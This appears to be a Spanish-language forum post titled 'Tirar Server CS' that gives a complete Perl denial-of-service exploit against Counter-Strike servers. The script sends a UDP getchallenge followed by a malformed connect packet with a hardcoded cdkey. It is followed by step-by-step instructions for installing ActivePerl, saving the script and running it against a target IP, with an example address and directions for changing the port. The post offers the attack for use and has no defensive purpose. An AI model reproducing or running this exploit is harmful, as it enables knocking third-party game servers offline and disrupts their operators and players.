Tirar Server CS

Como tirar server del Counter-Strike(CON EXPLOIT EN PERL)

PROGRAMAS NECESARIOS:
ActivePerl
Exploit:

use IO::Socket;
die "usage: ./csdos " unless $ARGV[0];
$host=$ARGV[0];
if (fork())
{econnect($host);}
else
{econnect($host);};
exit;
sub econnect($)
{
my $host=$_[0];
my $sock = new
IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');
die "Could not create socket: $!\n" unless $sock;
$cmd="\xff\xff\xff\xff";
syswrite $sock, $cmd."getchallenge";
sysread $sock,$b,65535; print $b,"\n";
@c=split(/ /,$b);
$c2=$c[1];
$q=$cmd."connect 47 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"\"\\\"\0\0";
print '>',$q,"\n";
syswrite $sock, $q;
sysread $sock,$b,65535; print $b,"\n";
sleep 3;
close $sock;
}


1º INTALAR ACTIVE PERL

2º COPIAR EL CODIGO DEL EXPLOIT EN EL BLOCK DE NOTAS...

3º (GUARDAR EN C:\perl\bin) COMO NOMBRE: csdoss.pl

4º IR A >INICIO>EJECUTAR>cmd (LA PANTALLITA NEGRA)

5º TECLEAR EN LA PANTALLITA NEGRA: cd C:\perl\bin

6º TECLEAR NUEVAMENTE : perl csdoss.pl (IP ATACANTE)(SIN PARENTESIS)

POR EJEMPLO: perl csdoss.pl 195.74.15.144

Y LISTO, SERVER TIRADO...

PD: ES SOLO PARA SERVER SIN SEGURIDAD...


¿COMO CAMBIO EL PUERTO DE LA IP ATACANTE?

PARA CAMBIAR EL PUERTO DE LA IP ATACANTE...
TIENE Q ABRIR EL CODIGO DEL EXPLOIT EN EL BLOCK DE NOTAS...

Y IR A ESTA LINE DE COMANDO:

IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');

DONDE SALE EL NUMERO "27015", ESE ES EL PORT, LO CAMBIAMOS Y LISTO...

POR EJEMPLO:
TENEMOS UNA IP DE UN SERVER ASI: 195.74.15.144:27016

LO QUE HACEMOS ES CAMBIAR EL PUERTO POR, EN ESTE CASO POR: 27016..

NOS QUEDARIA ASI:
IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27016',Proto=>'udp');